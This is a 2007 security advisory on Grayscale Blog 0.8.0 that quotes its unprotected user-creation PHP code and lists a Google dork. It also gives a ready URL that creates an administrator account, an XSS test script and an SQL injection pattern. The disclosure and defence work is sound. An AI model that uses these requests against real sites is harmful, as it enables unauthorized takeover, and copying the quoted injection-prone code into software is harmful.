Grayscale <= 0.8.0 Multiple Vulnerabilities

2007-03-13 / 2007-03-14
Credit: omnipresent
Risk: Medium
Local: No
Remote: Yes

# Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 # Date : 2007-02-24 Product : Grayscale Blog Version : 0.8.0 - Prior version maybe also be affected Vendor : - Vendor Status : 2007-02-24 -> Not Informed! 2007-03-02 -> Contacted, waiting reply! 2007-03-09 -> Vendor never replyed Source : omnipresent - omni E-mail : omnipresent[at]email[dot]it Google Dork : "Powered by Grayscale Blog" Security Issues : 1.) Security Query Bypass: [TESTED] A user can do lots of stuff with some php scripts located in the directory "/scripts/", for example: add_user.php - Security Bypass // $user_id=$_REQUEST['user_id']; // not used $user_loginname=$_REQUEST['user_loginname']; $user_password=$_REQUEST['user_password']; $user_real_name=$_REQUEST['user_real_name']; $user_email=$_REQUEST['user_email']; // $user_date_added=$_REQUEST['user_date_added']; // not used // $user_lastmod=$_REQUEST['user_lastmod']; // not used $user_permissions=$_REQUEST['user_permissions']; $user_added_by=$_REQUEST['user_added_by']; $user_lastmod_by=$_REQUEST['user_lastmod_by']; $user_allow=$_REQUEST['user_allow']; // define the query $query = "INSERT INTO blog_users (user_loginname, user_password, user_real_name, user_email, user_date_added, user_lastmod, user_permissions, user_added_by, user_lastmod_by, user_allow ) values ('$user_loginname', '$user_password', '$user_real_name', '$user_email', NOW(), NOW(), '$user_permissions', '$user_added_by', '$user_lastmod_by', '$user_allow')"; As you can see the code there are no security restriction for any users!! Everyone can add a user with Administrator Privilege ($user_permissions = 3). Other files affected by some security issues, like the above, are: -addblog.php -editblog.php -editlinks.php -edit_users.php -add_links.php Example: http://vulnerable_server/path/scripts/add_users.php?user_loginname=HACK_ USER&user_password=HACK_USER&user_real_name=real&user_email=os (at) so (dot) net [email concealed]&us er_permissions=3&user_added_by=1&user_lastmod_by=1&user_allow=1 And you have admin rights! 2.) XSS Vulnerability: [TESTED] Security issue in the following files: -"/scripts/addblog_comment.php" -> variables are not properly sanitized before being used in the query string -"detail.php" -> variables are not properly sanitized before being used in the query string (query2 -> blog_comments) Example: You can put in the comment fields the following script: <script>alert("XSS")</script> 3.) SQL Injection vulnerability: [NOT TESTED] In lots of files variables are not properly sanitized before being used, these files are, for example: -userdetail.php -> id variable -jump.php -> id variable and url variable for our redirect -detail.php -> id variable Example: http://vulnerable_server/path/detail.php?id=1;[SQL INJECTION] .:. Patches: 0x0 No vendor patches released! 0x1 Edit the source code to ensure that input is properly verified.

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